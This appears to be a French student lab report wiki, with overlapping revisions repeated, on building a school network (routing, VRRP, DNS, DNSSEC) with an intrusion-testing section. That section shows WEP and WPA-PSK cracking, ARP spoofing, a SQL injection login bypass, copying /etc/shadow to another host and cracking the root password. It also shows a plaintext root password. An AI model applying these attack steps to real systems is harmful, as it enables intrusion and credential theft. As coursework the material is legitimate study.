On cherche à réaliser une translation d'IP (NAT static) et non une mascarade (injection = NAT Dynamic)
ip nat inside source static network 100.64.0.16 193.48.57.176 /28
Cela permet d'associer les adresse non routées de 100.64.0.16 à 100.64.0.28 aux adresse routées de 193.48.57.176 à 193.48.57.188
Il faut ensuite indiquer ques sont les VLAN concernés par la translation:
int vlan 131
ip nat outside
exit
int vlan 333
ip nat inside
exit

===Problème association OSPF et NAT===
Il semblerait que l'association de l'OSPF et du NAT soit plus complexe que prévu: les deux fonctionnent bien indépendamment mais pas ensemble. En effet, l'OSPF n'annonce pas les routes vers 100.64.0.16/28 donc aucune communication vers l'exterieur n'est possible.

Pour palier à ce problème, on déclare 100.64.0.0/24 sur VLAN333 et annonce manuellement les routes entre 193.48.57.176 et 100.640.16 (plus de NAT).
La configuration du 9200 a été faite par M. Redon, on s'occupe du 6509-E :
boot
enable
conf t
int vlan 333
no ip address 193.48.57.161 255.255.255.224 #on enleve l'ancienne ip routée
ip address 100.64.0.1 255.255.255.0
exit
exit
write

on modifie également l'identifiant de l'ospf 1 qui était en conflit avec celui des IMA2A5:
router ospf 1
router-id 10.60.100.1

Enfin, on ajoute la route vers notre MV à la main:

ip route 193.48.57.188 255.255.255.255 100.64.0.28

Puis on configure notre machine virtuelle de manière a ce qu'elle ait les deux IP (100.64.0.28 et 193.48.57.188)(cf. partie suivante).

Les paquets venant de l'extérieur sont propagé à destination de 193.48.57.188 au routeur (6509-E ou 9200) puis vers 100.64.0.28 sur le VLAN333 suivant la route indiquée précédemment. Les paquets émis par notre machine virtuelle sont transmis à la passerelle par défaut (100.64.0.1 si 6509-E ou 100.64.0.2 si 9200) (comme spécifié avec le mot clé "src" lors de l'établissement des routes) puis le routeur connait les routes pour sortir en passant par le routeur de l'école.

==3.6 Interconnexion avec Internet (IPv6)(02/11/2020)==
Le groupe 14 c'est occupé de configurer le vlan333 pour qu'il utilise des ipv6

On crée le VLAN301 pour notre domaine:

* '''sur 6509-E'''
conf t
vlan 301
name trompettedelamort
exit
int vlan 301
no shutdown
ip address 10.60.101.1 255.255.255.0
ipv6 enable
ipv6 address 2001:660:4401:60b3::0/64 eui-64
ipv6 nd prefix 2001:660:4401:60b3::0/64 1000 900
ipv6 nd router-preference High #car routeur principale

* '''sur 6509-E'''
conf t
vlan 301
name trompettedelamort
exit
int vlan 301
no shutdown
ip address 10.60.101.2 255.255.255.0
ipv6 enable
ipv6 address 2001:660:4401:60b3::0/64 eui-64
ipv6 nd prefix 2001:660:4401:60b3::0/64 1000 900
ipv6 nd router-preference Low

Annonce de route avec RIP fait par groupe 14

==3.7 Sécurisation du réseau (02/11/2020)==
En partenariat avec le groupe 14.
Attention la syntaxe est différente entre le 9200 et le 6509-E
On configure la redondance avec l'adresse flottante pour les VLAN333 et VLAN1 ainsi que pour le notre VLAN301.
'''6509-E'''
conf t
int vlan 333
vrrp 33 ip 100.64.0.254 # adresse flottante des routeur dans vlan333
vrrp 33 preemt # priorité au routeur qui a une priorité supérieur
vrrp 33 priority 110 # priorité supérieur a celle du 9200
exit
int vlan 301
vrrp 31 ip 10.60.100.254 # adresse flottante des routeur dans vlan333
vrrp 31 preemt # priorité au routeur qui a une priorité supérieur
vrrp 31 priority 110 # priorité supérieur a celle du 9200
exit
int vlan 301
vrrp 41 ip 10.60.101.254 # adresse flottante des routeur dans notre vlan
vrrp 41 preemt
vrrp 41 priority 110
exit
exit
write

'''9200'''
conf t
int vlan 333
vrrp 33 address-family ipv4
priority 100
address 100.64.0.254
preemt
exit
int vlan 1
vrrp 31 address-family ipv4
priority 100
address 10.60.100.254
preemt
exit
int vlan 301
vrrp 41 address-family ipv4
priority 100
address 10.60.101.254
preemt
exit
exit
write

==3.8 Interconnexion Internet de secours (IPv4) (16/11/2020)==
(En collaboration avec le groupe 14)

On connecte physiquement l'ISR au SDSL: Dans le local technique SR52, on repere sur quel port est branché le l'ÍSR pour le mettre dans le VLAN 531
conf t
int Gi0/37
switchport mode access
switchport access vlan 531
exit
exit
write

Sur l'ISR:
* On creer le vlan 531:
conf t
vlan 531

==3.9 Interconnexion Internet de secours (IPv6) (pas encore fait)==

=4 Services Internet=

==Connexion a internet (02/11/2020)==

Afin de mettre internet sur nos machines il faut au préalable modifier le fichier /etc/network/interfaces de nos VM:
# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.188
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.28/24
up ip route add default via 100.64.0.2 src 193.48.57.188
down ip address del dev eth0 100.64.0.28/24
down ip route del default via 100.64.0.2 src 193.48.57.188

L'adresse 193.48.57.188 correspond à notre adressé routée, l'adresse 100.64.0.28 est notre adresse sur le vlan333 et l'adresse 100.64.0.2 est l'adresse du routeur/commutateur 9200 sur le vlan333.

Il faut ensuite ajouter la route sur le 9200 pour notre VM. Pour se faire on se connecte en ssh sur la zabeth09:
ssh pifou@zabet09.plil.info
Et ensuite via minicom:
minicom -os /dev/ttyACM0
On rentre la commande suivante (apres avoir fait enable et conf t au préalable):
ip route 193.48.57.188 255.255.255.255 100.64.0.28

Nous avons désormais accès à internet sur nos VM et nous pouvons donc maintenant installer bind9 et configurer notre DNS.

==4.1 Serveur SSH (02/11/2020)==
Le service SSH était activé par defaut.
Il faut juste autoriser la connexion en root dans le fichier /etc/ssh/sshd_config
PermitRootLogin yes

puis systemctl restart sshd

et on peut se connecter a notre vm
ssh root@193.48.57.188

==4.2 Serveur DNS (02/11/2020)==

Pour commencer dans le fichier de configuration /etc/resolv.conf nous avons mis comme adresse de serveur de nom
127.0.0.1

Dans /etc/bind/named.conf.local, en suivant le cours nous avons modifié et/ou ajouté:
options{
directory "/var/cache/bind";
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32 ;

};

Ensuite avec bind9 nous avons pu configurer notre serveur de nom.
Dans le fichier /etc/bind/named.conf.local nous avons défini notre zone "trompettedelamort.site":
zone "trompettedelamort.site" IN {
type master;
file "/etc/bind/db.trompettedelamort.site";
allow-transfer { 217.70.177.40;};
};

Puis nous avons configuré le fichier db.trompettedelamort.site. Pour se faire nous avons pris le fichier par defaut db.local que nous avons copié puis modifié:
zone "trompettedelamort.site" IN {
;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.trompettedelamort.site. postmaster.trompettedelamoo
rt.site(
4 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.trompettedelamort.site.
@ IN NS ns6.gandi.net.
ns1 IN A 193.48.57.188

Enfin sur gandi.net nous avons crée un glue record dans lequel nous avons mis l'adresse ip de notre machine virtuelle puis nous avons ajouté dans Nameservers.
ns6.gandi.net possedant déjà son glue record, nous avons simplement ajouté ce dernier dans Nameservers.

==4.3 Sécurisation de site web par certificat (16/11/2020)==

La documentation de ce point est disponible sur demande en contactant un membre du binôme.

===Verifications===
https://www.trompettedelamort.site

==4.4 Sécurisation de serveur DNS par DNSSEC (16/11/2020)==

La configuration a été réalisé en suivant les instructions dans le sujet de TP rubrique : 4.4 Sécurisation de serveur DNS par DNSSEC

Premièrement nous avons modifié le ficher named.conf.options pour y ajouter l'options suivantes:
dnssec-enable yes

Nous avons ensuite crée un repertoir trompettedelamort.dnssec afin d'y générer les clefs. Nous devons générer une paire de clef KSK et une paire de clef ZSK.

Pour créer la paire de clef KSK, nous utilisons la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE trompettedelamort.site

Et pour la paire de clef ZSK, nous utilisons la commande suivante:
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE trompettedelamort.site

Nous renommons ces paires avec comme prefixe trompettedelamort.site et comme suffice -zsk pour la paire zsk et -ksk pour la paire ksk et nous terminon avec .key pour les clefs publiques et .private pour les clefs privées.

Ensuite dans notre fichier zone db.trompettedelamort.site nous ajoutons les lignes suivantes sans oublier d'incrémenter le Serial:
$include /etc/bind/trompettedelamort.dnssec/trompettedelamort-ksk.key
$include /etc/bind/trompettedelamort.dnssec/trompettedelamort-zsk.key

Le fichier db.trompettedelamort.site ressemble donc à cela:
;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.trompettedelamort.site. postmaster.trompettedelamort.site.(

8 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.trompettedelamort.site.
@ IN NS ns6.gandi.net.
@ IN MX 100 ns1.trompettedelamort.site.
ns1 IN A 193.48.57.188
www IN A 193.48.57.188
$include /etc/bind/trompettedelamort.site.dnssec/trompettedelamort.site-ksk.key
$include /etc/bind/trompettedelamort.site.dnssec/trompettedelamort.site-zsk.key

Nous signons ensuite les enregristrement de la zone avec la commande suivante:
dnssec-signzone -o trompettedelamort.site -k trompettedelamort.site-ksk ../db.trompettedelamort.site trompettedelamort.site-zsk
Ce qui a pour effet de générer un fichier zone "db.trompettedelamort.site.signed"

Nous n'avons donc plus qu'a remplacer db.trompettedelamort.site par db.trompettedelamort.site.signed dans le fichier named.conf.local:
root@trompettedelamort:~# cat /etc/bind/named.conf.local
//
// Do any local configuration here
zone "trompettedelamort.site" IN {
type master;
file "/etc/bind/db.trompettedelamort.site.signed";
allow-transfer { 217.70.177.40;};
};
// Consider adding the 1918 zones here, if they are not used in your
// organization
//include "/etc/bind/zones.rfc1918";

Pour finir il ne reste plus qu'a fournir la clef publique de la clef KSK à gandi.net. Pour se faire il faut se rendre dans "DNSSEC" puis dans "Add an external key", choisir KSK et "RSA/SHA-1" et renseigner la clef se trouvant dans
/etc/bind/trompettedelamort.site.dnssec/trompettedelamort.site-ksk.key

On vérifie avec la commande suivante:
dnssec-verify -o trompettedelamort.site db.trompettedelamort.site.signed

Qui nous renvoie ce résultat:
Verifying the zone using the following algorithms: RSASHA1.
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
ZSKs: 1 active, 0 stand-by, 0 revoked
../db.trompettedelamort.site.signed

=Tests d’intrusion=

==5.1 Exploitation de failles du système (en cours)==

==5.2 Cassage de clef WEP d’un point d’accès WiFi (15/10/2020)==

Avec le packetage aircrack-ng il est possible de casser une clef wep.

Pour se faire on récupère le nom de de notre interface WiFi et son adresse MAC avec :
iwconfig

Ensuite pour analyser les packets WiFi qui circulent sur le réseau on se sert de la commande:
airodump-ng nomDeMaCarte
Se faisant, l'interface se met automatiquement en mode monitor.

Il faut ensuite tester le Point d'accés avec une injection test:
aireplay-ng -9 -e nomPA -a MACPA nomDeMaCarte
-9 permet de réaliser un test.

Pour casser la clef WEP, l'algorithme nécessite le plus de vecteur d'initialisation possible. Pour récupérer ces derniers on se sert de la commande suivante:
airodump-ng -c 3 --bssid MACPA -w output nomDeMaCarte
-c 3 correspond au canal sur lequel émet notre PA, et output sera le fichier contenant tous les vecteurs d'initialisations.

Pour accélérer l'acquisition de vecteurs d'initialisations,nous allons récupérer tous les paquets ARP émis par le PA et les réinjecter. A chaque réinjection les PA génère un nouveau vecteur d'initialisation, cette technique permet d'accélérer la collecte des vecteurs.

Pour permettre l'injection de paquet ARP dans le PA il faut d'abord associer la carte et le PA:
aireplay-ng 1 0 -e nomPA -a MACPA -h MACcarte nomDeMaCarte
-1 correspond à une fausse authentification et 0 au délais de réassociation.

Une fois que nous avons collecté suffisament de vecteurs nous pouvons lancer l'algorithme de cassage:
aircrack-ng -b MACPA output*.cap

==5.3 Cassage de mot de passe WPA-PSK par force brute (02/11/2020)==

On commence par mettre l'interface WiFi en mode monitor:
airmon-ng start maCarte

Ensuite on lance une écoute généralisée des trames WiFi qui circulent:
airodump-ng maCarte

A partir de là on peut récupérer le BSSID, L'ESSID et le canal utilisé par le PA qui nous intéresse, nous avons pris la kracotte03.

Puis pour cibler la recherche on lance la commande suivante:
airodump-ng -c 3 --bssid MACPA -w psk maCarte

A partir de la on attend un handshake (émis lors de la connexion d'un utilisateur au PA).

Une fois le handshake récupéré il n'y a plus qu'a lancer l'algorithme pour casser la PSK:
aircrack-ng -w dictionnaire -b MACPA psk*.cap

Il faut au préalable avoir un dictionnaire contenant toutes les combinaisons qui nous intéressent, dans notre un cas il nous faut toutes les combinaisons possibles sur 8bits en décimale.
Pour se faire soit on fait un petit programme générant toutes les combinaisons possibles, soit on se sert d'un outil de création de dictionnaire. Nous avons utilisé crunch avec la commande suivante:
crunch 8 8 0123456789 -o dictionnaire

Nous avons du attendre quelques heures avant que aircrack nous retourne la clef.

==5.4 Attaque de type "homme au milieu" par usurpation ARP (06/11/2020)==

N'ayant pas accès au eeePC (COVID19) on a créé deux machines virtuelles sur note machine personnelle pour simuler l'environement de TP.

[[Fichier:ARP1.png|1000px]]

On transforme la machine '''attacker''' en routeur:
attacker@attacker:~/ sysctl -w net.ipv4.ip_forward=1

Puis on lance l'empoisonnement du cache ARP de la victime:
attacker@attacker:~/ arpspoof -i enp0s3 -t 192.168.1.74 192.168.1.254

On peut vérifier que l'attaque a bien fonctionné en observant la table ARP de la victime:
victime@victime:~/ /arp
bbox.lan (192.168.1.254) at 08:00:27:34:f9:27
...
attacker (192.168.1.44) at 08:00:27:34:f9:27
L'adresse MAC de la passerelle par défaut (ma box internet dans ce cas) est la même que celle de la machine '''attacker'''

Lorsque la machine veut communiquer avec l'extérieur, elle passe donc automatiquement par la machine '''attacker''':
victime@victime:~/ traceroute 8.8.8.8
1 attacker (192.168.1.44) 0.456 ms 0.552 ms 0.537 ms
2 bbox.lan (192.168.1.254) 5.071 ms 5.053 ms 4.965 ms
...
9 dns.google (8.8.8.8) 13.306 ms 12.759 ms 12.551 ms

On lance wireshark sur '''attacker''' et on se connecte a un site http quelconque sur ''''victime'''. On peut voir transiter en claire les identifiants et mot de passes utilisés pour se connecter au site.

[[Fichier:ARP2.png|1000px]]

Même chose avec un logiciel de conversation instantanée non chiffré.

==5.5 Intrusion sur un serveur d’application Web (04/11/2020)==
===Injection SQL===
On se rend sur le site http://honey.plil.info. Etant donnée que le but est de s'introduire sur le serveur, on se doute que ce n'est pas l'application la plus sécurisée du monde: une simpl injection SQL pourais faire l'affaire pour obtenir une liste des identifiants de connexion. On renseigne donc les champs '''Identifiant''' et '''Mot de passe''' avec la valeure:
' OR 1 = 1 --
Bingo! L'application nous retourne un tableau avec des identifiant et mdp, on se connecter avec le profil '''admin'''

===Base de donnée===
En fouillant un peu sur l'interface web, on se rend compte qu'on a accés a un fichier '''config-db.php ''' (dans l'onglet '''Recherche d'un manuel'''). Ce dernier nous renseigne le mot de passe root d'abministration de la base de donnée. En se connectant à l'interface d'administration du serveur de BDD
http://honey.plil.info/phpmyadmin/ avec ce mot de passe, on accède au contenue des tables.

Une table en particulier nous interesse: '''users''' dans la base '''test''', puisqu'elle contient les identifiant de connexion ('''rex''')

===connexion au serveur===
On peut verifier que le serveur est bien accéssible a distance avec:
nmap -6 honey.plil.info
qui nous renseigne que les services http et ssh sont accéssible sur la machine.

On tente donc de se connecter en ssh avec les information récupérées dans la base de donnée.

On a accès a tous les fichier de configuration et nottament les informations sur les utilisateurs que l'on récupère:
scp /etc/passwd pifou@zabethXX:~/intrusion/passwd
scp /etc/shadow pifou@zabethXX:~/intrusion/shadow

===Cassage du mot de passe root===
Pour la suite, nous utilisons les commandes de l'utilitaire '''John the Ripper'''.
La commande suivante nous permet de voir les mots de passe chiffrés des utilisateurs.
unshadow ./passwd ./shadow | grep root > pass
On enregistre la clé de l'utilisateur '''root''' dans un fichier '''pass'''.

Comme nous savons que le mot de passe suis la meme logique que le mot de passe administrateur habituel des machines de projets, on suppose qu'il s'agit d'un répétition de 2 mot de 4 lettre: abcdabcd. On génere un dictionnaire qui permettera de casser le mot de passe chiffé.
crunch 4 4 abcdefghijklmnopqrstuvwxyz > dico
sed -i 's/$.*$/\1\1/' dico

puis on lance le cassage:
/usr/sbin/john -w:dico pass

apres quelques minutes, le mot de passe est diponible en clair:
/usr/sbin/john --show pass

=Réalisations=

===6.1 Sécurisation de données===

===6.2 Chiffrement de données===

===6.3 Inspection ARP par un élément réseau===

===6.4 Sécurisation WiFi par WPA2-EAP===

TP sysres IMA5sc 2020/2021 G1

2020-11-16T23:08:49Z

Egury : /* 4.4 Sécurisation de serveur DNS par DNSSEC (16/11/2020) */

TP PRA - Evan Gury & Vincent Dubois - trompettedelamort

Informations générales
----------------------
{| class="wikitable"
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)
|-
| Groupe 1
| trompettedelamort.site
| Debian 10 Buster
| 301
| 100.64.0.28
| 255.255.255.0
| 100.64.0.254
| 100.64.0.1
| 100.64.0.2
| 193.48.57.188
|}

=2 Installation des systèmes d’exploitation (12/10/2020)=

ssh capbreton.plil.info
xen-create-image --hostname=trompettedelamort --ip=100.64.0.28 --gateway=100.64.0.2 --netmask=255.255.255.0 --dir=/usr/local/xen --password=pasglop --dist=buster

* Création des disques de stockage sur le serveur de virtualisation (pour tout les binômes):

Sur Capbreton:

** On réquisitionne les deux disques de 2,7To que l'on met dans un groupe

pvcreate /dev/sde
pvcreate /dev/sdf
vgcreate storage /dev/sde /dev/sdf

** On créer 2 partitions de 10Go pour chaque binôme:

lvcreate -L10G -n trompettedelamort1 storage
lvcreate -L10G -n trompettedelamort2 storage
...meme chose pour chaque groupe...

** On formate nos partitions:

mkfs.ext4 /dev/storage/trompettedelamort1
mkfs.ext4 /dev/storage/trompettedelamort2

* Modification du fichier de config de la VM (/etc/xen/trompettedelamort.cfg)
vif = ['bridge=IMA5sc, ip=100.64.0.84, ...']
et on indique quel disque utiliser:
disk = [
'file:/usr/local/xen/domains/trompettedelamort/disk.img,xvda2,w',
'file:/usr/local/xen/domains/trompettedelamort/swap.img,xvda1,w',
'phy:/dev/storage/trompettedelamort1,xvda3,w',
'phy:/dev/storage/trompettedelamort2,xvda4,w'
]

* Lancer la VM
xl create -c /etc/xen/trompettedelamort.cfg

Ensuite, sur la MV:

* Montage et peuplement des partitions:
mount /dev/xvda3 /mnt/xvda3
mount /dev/xvda4 /mnt/xvda4
mv /var/* /mnt/xvda4
# /home est vide donc rien a déplacer

puis on démonte:
umount /mnt/xvda3
umount /mnt/xvda4

* Modification du fichier /etc/fstab pour monter les répertoires '''var''' et '''home''' sur les partitions crées. On ajoute:
/dev/xvda3 /home /ext4 default 0 2
/dev/xvda4 /var /ext4 default 0 2

et on applique les modification du fichier fstab:
mount -a

=3 Architecture réseau=

==3.1 L’architecture générale (12/10/2020)==

La mise en service de l'infrastructure physique (démarrer les routeurs,connexions physiques entre eux et avec le routeur de l'école) a été principalement réalisés par le groupe 14.

==3.2 Les réseaux virtuels (12/10/2020)==

On créer deux VLAN:
* VLAN131 pour se connecter au routeur de l'école
* VLAN333 pour accéder aux machines virtuelles sur Capbreton

Cette partie a partiellement été réalisée par le groupe 14 lors de la première séances

==3.5 Interconnexion avec Internet IPv4(15/10/2020 & 02/11/2020)==

Le réseau utilisé pour ce TP est le 193.48.57.176/28 (cohabitation avec les IMA2A5 qui ont 193.48.57.160/27). Nous avons donc a notre disposition 16 adresses IP (193.48.57.176 à 193.48.57.191) parmi lesquelles nous devons réserver :
* 1 adresse pour le réseau
* 1 adresse de Broadcast
* 1 adresse pour le routeur 1 (6509-E)
* 1 adresse pour le routeur 2 (9200)
* 1 adresse flottante pour les routeurs (redondance)
Ce qui nous laisse 11 adresses disponibles pour 13 groupes...Impossible

L'idée est donc de créer un sous réseau 10.64.0.16/28 et de faire de de la Translation d'adresse (NAT) vers 193.48.57.176/28
Nous économisons ainsi les adresses des routeurs et de diffusion qui n'ont pas besoin d’être translatées.

===OSPF===
L'OSPF permet aux routeurs dans un même domaine d'échanger des informations sur le réseau. Cela permet aux différents routeurs voisins d'avoir de meilleur tables de routages. On réalise donc cette étape sur les deux routeurs pour qu'ils s'echanges leurs tables entre eux mais également avec le routeur de l'école

'''6509-E'''

ip route 193.48.57.176 255.255.255.0 null0 #Ajout d'une route vers le routeur pour pouvoir ping directement à partir du routeur

router ospf 1 # un numéro de processus
router-id 10.60.0.101 # un id pour le routeur (plus petite adresse disponible)
log-adjacency-changes
summary-address 193.48.57.176 255.255.255.240 # adresse que l'on souhaite diffuser aux voisins (addresse du VLAN 333)
summary-address 100.60.0.0 255.240.0.0 not-advertise # address q'on veut pas diffuser (celle du reseau privé)
summary-address 10.0.0.0 255.0.0.0 not-advertise # address q'on veut pas diffuser (?)
redistribute connected subnets # autorise la diffusion pour les nouveaux réseaux qui peuvent être connectés
redistribute static subnets
network 192.168.222.8 0.0.0.7 area 2 # domaine de diffusion OSPF (Attention au masque inversé)

On peut vérifier le bon fonctonnement avec un ping vers l'adresse globale routeur de l'école
ping 193.48.57.48

De plus, on constate de nouvelles routes partagé par le routeur de l'école ("O" au début de la ligne)
show ip route

'''9200'''
On fait la meme chose en changeant le router-id : 10.60.0.102

===NAT===
On cherche à réaliser une translation d'IP (NAT static) et non une mascarade (injection = NAT Dynamic)
ip nat inside source static network 100.64.0.16 193.48.57.176 /28
Cela permet d'associer les adresse non routées de 100.64.0.16 à 100.64.0.28 aux adresse routées de 193.48.57.176 à 193.48.57.188
Il faut ensuite indiquer ques sont les VLAN concernés par la translation:
int vlan 131
ip nat outside
exit
int vlan 333
ip nat inside
exit

===Problème association OSPF et NAT===
Il semblerait que l'association de l'OSPF et du NAT soit plus complexe que prévu: les deux fonctionnent bien indépendamment mais pas ensemble. En effet, l'OSPF n'annonce pas les routes vers 100.64.0.16/28 donc aucune communication vers l'exterieur n'est possible.

Pour palier à ce problème, on déclare 100.64.0.0/24 sur VLAN333 et annonce manuellement les routes entre 193.48.57.176 et 100.640.16 (plus de NAT).
La configuration du 9200 a été faite par M. Redon, on s'occupe du 6509-E :
boot
enable
conf t
int vlan 333
no ip address 193.48.57.161 255.255.255.224 #on enleve l'ancienne ip routée
ip address 100.64.0.1 255.255.255.0
exit
exit
write

on modifie également l'identifiant de l'ospf 1 qui était en conflit avec celui des IMA2A5:
router ospf 1
router-id 10.60.100.1

Enfin, on ajoute la route vers notre MV à la main:

ip route 193.48.57.188 255.255.255.255 100.64.0.28

Puis on configure notre machine virtuelle de manière a ce qu'elle ait les deux IP (100.64.0.28 et 193.48.57.188)(cf. partie suivante).

Les paquets venant de l'extérieur sont propagé à destination de 193.48.57.188 au routeur (6509-E ou 9200) puis vers 100.64.0.28 sur le VLAN333 suivant la route indiquée précédemment. Les paquets émis par notre machine virtuelle sont transmis à la passerelle par défaut (100.64.0.1 si 6509-E ou 100.64.0.2 si 9200) (comme spécifié avec le mot clé "src" lors de l'établissement des routes) puis le routeur connait les routes pour sortir en passant par le routeur de l'école.

==3.6 Interconnexion avec Internet (IPv6)(02/11/2020)==
Le groupe 14 c'est occupé de configurer le vlan333 pour qu'il utilise des ipv6

On crée le VLAN301 pour notre domaine:

* '''sur 6509-E'''
conf t
vlan 301
name trompettedelamort
exit
int vlan 301
no shutdown
ip address 10.60.101.1 255.255.255.0
ipv6 enable
ipv6 address 2001:660:4401:60b3::0/64 eui-64
ipv6 nd prefix 2001:660:4401:60b3::0/64 1000 900
ipv6 nd router-preference High #car routeur principale

* '''sur 6509-E'''
conf t
vlan 301
name trompettedelamort
exit
int vlan 301
no shutdown
ip address 10.60.101.2 255.255.255.0
ipv6 enable
ipv6 address 2001:660:4401:60b3::0/64 eui-64
ipv6 nd prefix 2001:660:4401:60b3::0/64 1000 900
ipv6 nd router-preference Low

Annonce de route avec RIP fait par groupe 14

==3.7 Sécurisation du réseau (02/11/2020)==
En partenariat avec le groupe 14.
Attention la syntaxe est différente entre le 9200 et le 6509-E
On configure la redondance avec l'adresse flottante pour les VLAN333 et VLAN1 ainsi que pour le notre VLAN301.
'''6509-E'''
conf t
int vlan 333
vrrp 33 ip 100.64.0.254 # adresse flottante des routeur dans vlan333
vrrp 33 preemt # priorité au routeur qui a une priorité supérieur
vrrp 33 priority 110 # priorité supérieur a celle du 9200
exit
int vlan 301
vrrp 31 ip 10.60.100.254 # adresse flottante des routeur dans vlan333
vrrp 31 preemt # priorité au routeur qui a une priorité supérieur
vrrp 31 priority 110 # priorité supérieur a celle du 9200
exit
int vlan 301
vrrp 41 ip 10.60.101.254 # adresse flottante des routeur dans notre vlan
vrrp 41 preemt
vrrp 41 priority 110
exit
exit
write

'''9200'''
conf t
int vlan 333
vrrp 33 address-family ipv4
priority 100
address 100.64.0.254
preemt
exit
int vlan 1
vrrp 31 address-family ipv4
priority 100
address 10.60.100.254
preemt
exit
int vlan 301
vrrp 41 address-family ipv4
priority 100
address 10.60.101.254
preemt
exit
exit
write

==3.8 Interconnexion Internet de secours (IPv4) (16/11/2020)==
(En collaboration avec le groupe 14)

On connecte physiquement l'ISR au SDSL: Dans le local technique SR52, on repere sur quel port est branché le l'ÍSR pour le mettre dans le VLAN 531
conf t
int Gi0/37
switchport mode access
switchport access vlan 531
exit
exit
write

Sur l'ISR:
* On creer le vlan 531:
conf t
vlan 531

==3.9 Interconnexion Internet de secours (IPv6) (pas encore fait)==

=4 Services Internet=

==Connexion a internet (02/11/2020)==

Afin de mettre internet sur nos machines il faut au préalable modifier le fichier /etc/network/interfaces de nos VM:
# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.188
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.28/24
up ip route add default via 100.64.0.2 src 193.48.57.188
down ip address del dev eth0 100.64.0.28/24
down ip route del default via 100.64.0.2 src 193.48.57.188

L'adresse 193.48.57.188 correspond à notre adressé routée, l'adresse 100.64.0.28 est notre adresse sur le vlan333 et l'adresse 100.64.0.2 est l'adresse du routeur/commutateur 9200 sur le vlan333.

Il faut ensuite ajouter la route sur le 9200 pour notre VM. Pour se faire on se connecte en ssh sur la zabeth09:
ssh pifou@zabet09.plil.info
Et ensuite via minicom:
minicom -os /dev/ttyACM0
On rentre la commande suivante (apres avoir fait enable et conf t au préalable):
ip route 193.48.57.188 255.255.255.255 100.64.0.28

Nous avons désormais accès à internet sur nos VM et nous pouvons donc maintenant installer bind9 et configurer notre DNS.

==4.1 Serveur SSH (02/11/2020)==
Le service SSH était activé par defaut.
Il faut juste autoriser la connexion en root dans le fichier /etc/ssh/sshd_config
PermitRootLogin yes

puis systemctl restart sshd

et on peut se connecter a notre vm
ssh root@193.48.57.188

==4.2 Serveur DNS (02/11/2020)==

Pour commencer dans le fichier de configuration /etc/resolv.conf nous avons mis comme adresse de serveur de nom
127.0.0.1

Dans named.conf.local, en suivant le cours nous avons modifié et/ou ajouté:
options{
directory "/var/cache/bind";
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32 ;

};

Ensuite avec bind9 nous avons pu configurer notre serveur de nom.
Dans le fichier /etc/bind/named.conf.local nous avons défini notre zone "trompettedelamort.site":
zone "trompettedelamort.site" IN {
type master;
file "/etc/bind/db.trompettedelamort.site";
allow-transfer { 217.70.177.40;};
};

Puis nous avons configuré le fichier db.trompettedelamort.site. Pour se faire nous avons pris le fichier par defaut db.local que nous avons copié puis modifié:
zone "trompettedelamort.site" IN {
;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.trompettedelamort.site. postmaster.trompettedelamoo
rt.site(
4 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.trompettedelamort.site.
@ IN NS ns6.gandi.net.
ns1 IN A 193.48.57.188

Enfin sur gandi.net nous avons crée un glue record dans lequel nous avons mis l'adresse ip de notre machine virtuelle puis nous avons ajouté dans Nameservers.
ns6.gandi.net possedant déjà son glue record, nous avons simplement ajouté ce dernier dans Nameservers.

==4.3 Sécurisation de site web par certificat (pas encore fait)==

==4.4 Sécurisation de serveur DNS par DNSSEC (16/11/2020)==

La configuration a été réalisé en suivant les instructions dans le sujet de TP rubrique : 4.4 Sécurisation de serveur DNS par DNSSEC

Premièrement nous avons modifié le ficher named.conf.options pour y ajouter l'options suivantes:
dnssec-enable yes

Nous avons ensuite crée un repertoir trompettedelamort.dnssec afin d'y générer les clefs. Nous devons générer une paire de clef KSK et une paire de clef ZSK.

Pour créer la paire de clef KSK, nous utilisons la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE trompettedelamort.site

Et pour la paire de clef ZSK, nous utilisons la commande suivante:
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE trompettedelamort.site

Nous renommons ces paires avec comme prefixe trompettedelamort.site et comme suffice -zsk pour la paire zsk et -ksk pour la paire ksk et nous terminon avec .key pour les clefs publiques et .private pour les clefs privées.

Ensuite dans notre fichier zone db.trompettedelamort.site nous ajoutons les lignes suivantes sans oublier d'incrémenter le Serial:
$include /etc/bind/trompettedelamort.dnssec/trompettedelamort-ksk.key
$include /etc/bind/trompettedelamort.dnssec/trompettedelamort-zsk.key

Le fichier db.trompettedelamort.site ressemble donc à cela:
;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.trompettedelamort.site. postmaster.trompettedelamort.site.(

8 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.trompettedelamort.site.
@ IN NS ns6.gandi.net.
@ IN MX 100 ns1.trompettedelamort.site.
ns1 IN A 193.48.57.188
www IN A 193.48.57.188
$include /etc/bind/trompettedelamort.site.dnssec/trompettedelamort.site-ksk.key
$include /etc/bind/trompettedelamort.site.dnssec/trompettedelamort.site-zsk.key

